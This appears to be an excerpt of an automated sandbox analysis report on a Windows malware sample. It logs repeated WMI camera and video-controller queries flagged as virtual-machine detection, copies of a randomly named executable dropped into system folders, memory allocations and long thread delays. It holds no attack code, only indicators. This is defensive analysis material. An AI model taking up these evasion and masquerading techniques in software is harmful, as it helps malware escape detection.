Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Memory allocated: 1E30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Memory allocated: 3BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Memory allocated: 1BBC0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Memory allocated: A30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Memory allocated: 1A5D0000 memory reserve \| memory write watch
Source: C:\Program Files\Everything\Everything.exe	Memory allocated: 1560000 memory reserve \| memory write watch
Source: C:\Program Files\Everything\Everything.exe	Memory allocated: 1AED0000 memory reserve \| memory write watch
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: 1950000 memory reserve \| memory write watch
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: 1B2F0000 memory reserve \| memory write watch
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: 11A0000 memory reserve \| memory write watch
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: 1AE30000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: BD0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: 1A670000 memory reserve \| memory write watch
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Memory allocated: 31B0000 memory reserve \| memory write watch
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Memory allocated: 1B2F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Memory allocated: 1690000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Memory allocated: 1B200000 memory reserve \| memory write watch
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: DA0000 memory reserve \| memory write watch
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: 1A910000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: 14D0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: 1B080000 memory reserve \| memory write watch
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Memory allocated: 1770000 memory reserve \| memory write watch
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Memory allocated: 1B1D0000 memory reserve \| memory write watch
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Memory allocated: 1AC70000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Everything\Everything.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 600000
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 599734
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 599359
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 3600000
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 599000
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 598656
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 598312
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 598031
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 597609
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 597343
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 597078
